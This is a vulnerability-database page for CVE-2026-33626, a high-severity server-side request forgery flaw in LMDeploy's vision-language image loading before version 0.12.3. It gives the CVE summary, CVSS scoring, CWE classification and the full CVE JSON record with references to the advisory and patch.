CVE-2026-33626 (GCVE-0-2026-33626)

Vulnerability from cvelistv5 – Published: 2026-04-20 20:29 – Updated: 2026-04-21 19:50
VLAI?
Title
LMDeploy Vulnerable to Server-Side Request Forgery (SSRF) via Vision-Language Image Loading
Summary
LMDeploy is a toolkit for compressing, deploying, and serving large language models. Versions prior to 0.12.3 have a Server-Side Request Forgery (SSRF) vulnerability in LMDeploy's vision-language module. The `load_image()` function in `lmdeploy/vl/utils.py` fetches arbitrary URLs without validating internal/private IP addresses, allowing attackers to access cloud metadata services, internal networks, and sensitive resources. Version 0.12.3 patches the issue.
Severity ?
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
CWE
  • CWE-918 - Server-Side Request Forgery (SSRF)
Assigner
References
Impacted products
Vendor Product Version
InternLM lmdeploy Affected: < 0.12.3
Create a notification for this product.
Show details on NVD website
To clipboard 

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-33626",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-04-21T17:52:10.383689Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-04-21T19:50:13.326Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/InternLM/lmdeploy/security/advisories/GHSA-6w67-hwm5-92mq"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "lmdeploy",
          "vendor": "InternLM",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 0.12.3"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "LMDeploy is a toolkit for compressing, deploying, and serving large language models. Versions prior to 0.12.3 have a Server-Side Request Forgery (SSRF) vulnerability in LMDeploy\u0027s vision-language module. The `load_image()` function in `lmdeploy/vl/utils.py` fetches arbitrary URLs without validating internal/private IP addresses, allowing attackers to access cloud metadata services, internal networks, and sensitive resources. Version 0.12.3 patches the issue."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 7.5,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-918",
              "description": "CWE-918: Server-Side Request Forgery (SSRF)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-04-20T20:29:19.558Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/InternLM/lmdeploy/security/advisories/GHSA-6w67-hwm5-92mq",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/InternLM/lmdeploy/security/advisories/GHSA-6w67-hwm5-92mq"
        },
        {
          "name": "https://github.com/InternLM/lmdeploy/pull/4447",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/InternLM/lmdeploy/pull/4447"
        },
        {
          "name": "https://github.com/InternLM/lmdeploy/commit/71d64a339edb901e9005358e0633fbbab367d626",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/InternLM/lmdeploy/commit/71d64a339edb901e9005358e0633fbbab367d626"
        },
        {
          "name": "https://github.com/InternLM/lmdeploy/releases/tag/v0.12.3",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/InternLM/lmdeploy/releases/tag/v0.12.3"
        }
      ],
      "source": {
        "advisory": "GHSA-6w67-hwm5-92mq",
        "discovery": "UNKNOWN"
      },
      "title": "LMDeploy Vulnerable to Server-Side Request Forgery (SSRF) via Vision-Language Image Loading"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-33626",
    "datePublished": "2026-04-20T20:29:19.558Z",
    "dateReserved": "2026-03-23T14:24:11.617Z",
    "dateUpdated": "2026-04-21T19:50:13.326Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2",
  "vulnerability-lookup:meta": {
    "epss": {
      "cve": "CVE-2026-33626",
      "date": "2026-05-19",
      "epss": "0.02924",
      "percentile": "0.86562"
    },
    "nvd": "{\"cve\":{\"id\":\"CVE-2026-33626\",\"sourceIdentifier\":\"security-advisories@github.com\",\"published\":\"2026-04-20T21:16:35.097\",\"lastModified\":\"2026-04-23T13:39:54.420\",\"vulnStatus\":\"Analyzed\",\"cveTags\":[],\"descriptions\":[{\"lang\":\"en\",\"value\":\"LMDeploy is a toolkit for compressing, deploying, and serving large language models. Versions prior to 0.12.3 have a Server-Side Request Forgery (SSRF) vulnerability in LMDeploy\u0027s vision-language module. The `load_image()` function in `lmdeploy/vl/utils.py` fetches arbitrary URLs without validating internal/private IP addresses, allowing attackers to access cloud metadata services, internal networks, and sensitive resources. Version 0.12.3 patches the issue.\"}],\"metrics\":{\"cvssMetricV31\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Secondary\",\"cvssData\":{\"version\":\"3.1\",\"vectorString\":\"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\",\"baseScore\":7.5,\"baseSeverity\":\"HIGH\",\"attackVector\":\"NETWORK\",\"attackComplexity\":\"LOW\",\"privilegesRequired\":\"NONE\",\"userInteraction\":\"NONE\",\"scope\":\"UNCHANGED\",\"confidentialityImpact\":\"HIGH\",\"integrityImpact\":\"NONE\",\"availabilityImpact\":\"NONE\"},\"exploitabilityScore\":3.9,\"impactScore\":3.6}]},\"weaknesses\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Secondary\",\"description\":[{\"lang\":\"en\",\"value\":\"CWE-918\"}]}],\"configurations\":[{\"nodes\":[{\"operator\":\"OR\",\"negate\":false,\"cpeMatch\":[{\"vulnerable\":true,\"criteria\":\"cpe:2.3:a:internlm:lmdeploy:*:*:*:*:*:*:*:*\",\"versionEndExcluding\":\"0.12.3\",\"matchCriteriaId\":\"208E5C1B-F678-46DA-8CF2-34C2525BF666\"}]}]}],\"references\":[{\"url\":\"https://github.com/InternLM/lmdeploy/commit/71d64a339edb901e9005358e0633fbbab367d626\",\"source\":\"security-advisories@github.com\",\"tags\":[\"Patch\"]},{\"url\":\"https://github.com/InternLM/lmdeploy/pull/4447\",\"source\":\"security-advisories@github.com\",\"tags\":[\"Issue Tracking\",\"Patch\"]},{\"url\":\"https://github.com/InternLM/lmdeploy/releases/tag/v0.12.3\",\"source\":\"security-advisories@github.com\",\"tags\":[\"Release Notes\"]},{\"url\":\"https://github.com/InternLM/lmdeploy/security/advisories/GHSA-6w67-hwm5-92mq\",\"source\":\"security-advisories@github.com\",\"tags\":[\"Exploit\",\"Mitigation\",\"Vendor Advisory\"]},{\"url\":\"https://github.com/InternLM/lmdeploy/security/advisories/GHSA-6w67-hwm5-92mq\",\"source\":\"134c704f-9b21-4f2e-91b3-4a467353bcc0\",\"tags\":[\"Exploit\",\"Mitigation\",\"Vendor Advisory\"]}]}}",
    "vulnrichment": {
      "containers": "{\"cna\": {\"title\": \"LMDeploy Vulnerable to Server-Side Request Forgery (SSRF) via Vision-Language Image Loading\", \"source\": {\"advisory\": \"GHSA-6w67-hwm5-92mq\", \"discovery\": \"UNKNOWN\"}, \"metrics\": [{\"cvssV3_1\": {\"scope\": \"UNCHANGED\", \"version\": \"3.1\", \"baseScore\": 7.5, \"attackVector\": \"NETWORK\", \"baseSeverity\": \"HIGH\", \"vectorString\": \"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\", \"integrityImpact\": \"NONE\", \"userInteraction\": \"NONE\", \"attackComplexity\": \"LOW\", \"availabilityImpact\": \"NONE\", \"privilegesRequired\": \"NONE\", \"confidentialityImpact\": \"HIGH\"}}], \"affected\": [{\"vendor\": \"InternLM\", \"product\": \"lmdeploy\", \"versions\": [{\"status\": \"affected\", \"version\": \"\u003c 0.12.3\"}]}], \"references\": [{\"url\": \"https://github.com/InternLM/lmdeploy/security/advisories/GHSA-6w67-hwm5-92mq\", \"name\": \"https://github.com/InternLM/lmdeploy/security/advisories/GHSA-6w67-hwm5-92mq\", \"tags\": [\"x_refsource_CONFIRM\"]}, {\"url\": \"https://github.com/InternLM/lmdeploy/pull/4447\", \"name\": \"https://github.com/InternLM/lmdeploy/pull/4447\", \"tags\": [\"x_refsource_MISC\"]}, {\"url\": \"https://github.com/InternLM/lmdeploy/commit/71d64a339edb901e9005358e0633fbbab367d626\", \"name\": \"https://github.com/InternLM/lmdeploy/commit/71d64a339edb901e9005358e0633fbbab367d626\", \"tags\": [\"x_refsource_MISC\"]}, {\"url\": \"https://github.com/InternLM/lmdeploy/releases/tag/v0.12.3\", \"name\": \"https://github.com/InternLM/lmdeploy/releases/tag/v0.12.3\", \"tags\": [\"x_refsource_MISC\"]}], \"descriptions\": [{\"lang\": \"en\", \"value\": \"LMDeploy is a toolkit for compressing, deploying, and serving large language models. Versions prior to 0.12.3 have a Server-Side Request Forgery (SSRF) vulnerability in LMDeploy\u0027s vision-language module. The `load_image()` function in `lmdeploy/vl/utils.py` fetches arbitrary URLs without validating internal/private IP addresses, allowing attackers to access cloud metadata services, internal networks, and sensitive resources. Version 0.12.3 patches the issue.\"}], \"problemTypes\": [{\"descriptions\": [{\"lang\": \"en\", \"type\": \"CWE\", \"cweId\": \"CWE-918\", \"description\": \"CWE-918: Server-Side Request Forgery (SSRF)\"}]}], \"providerMetadata\": {\"orgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"shortName\": \"GitHub_M\", \"dateUpdated\": \"2026-04-20T20:29:19.558Z\"}}, \"adp\": [{\"title\": \"CISA ADP Vulnrichment\", \"metrics\": [{\"other\": {\"type\": \"ssvc\", \"content\": {\"id\": \"CVE-2026-33626\", \"role\": \"CISA Coordinator\", \"options\": [{\"Exploitation\": \"poc\"}, {\"Automatable\": \"yes\"}, {\"Technical Impact\": \"partial\"}], \"version\": \"2.0.3\", \"timestamp\": \"2026-04-21T17:52:10.383689Z\"}}}], \"references\": [{\"url\": \"https://github.com/InternLM/lmdeploy/security/advisories/GHSA-6w67-hwm5-92mq\", \"tags\": [\"exploit\"]}], \"providerMetadata\": {\"shortName\": \"CISA-ADP\", \"orgId\": \"134c704f-9b21-4f2e-91b3-4a467353bcc0\", \"dateUpdated\": \"2026-04-21T17:52:24.672Z\"}}]}",
      "cveMetadata": "{\"cveId\": \"CVE-2026-33626\", \"state\": \"PUBLISHED\", \"dateUpdated\": \"2026-04-20T20:29:19.558Z\", \"dateReserved\": \"2026-03-23T14:24:11.617Z\", \"assignerOrgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"datePublished\": \"2026-04-20T20:29:19.558Z\", \"assignerShortName\": \"GitHub_M\"}",
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }
  }
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.




Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.



Detection rules are retrieved from Rulezet.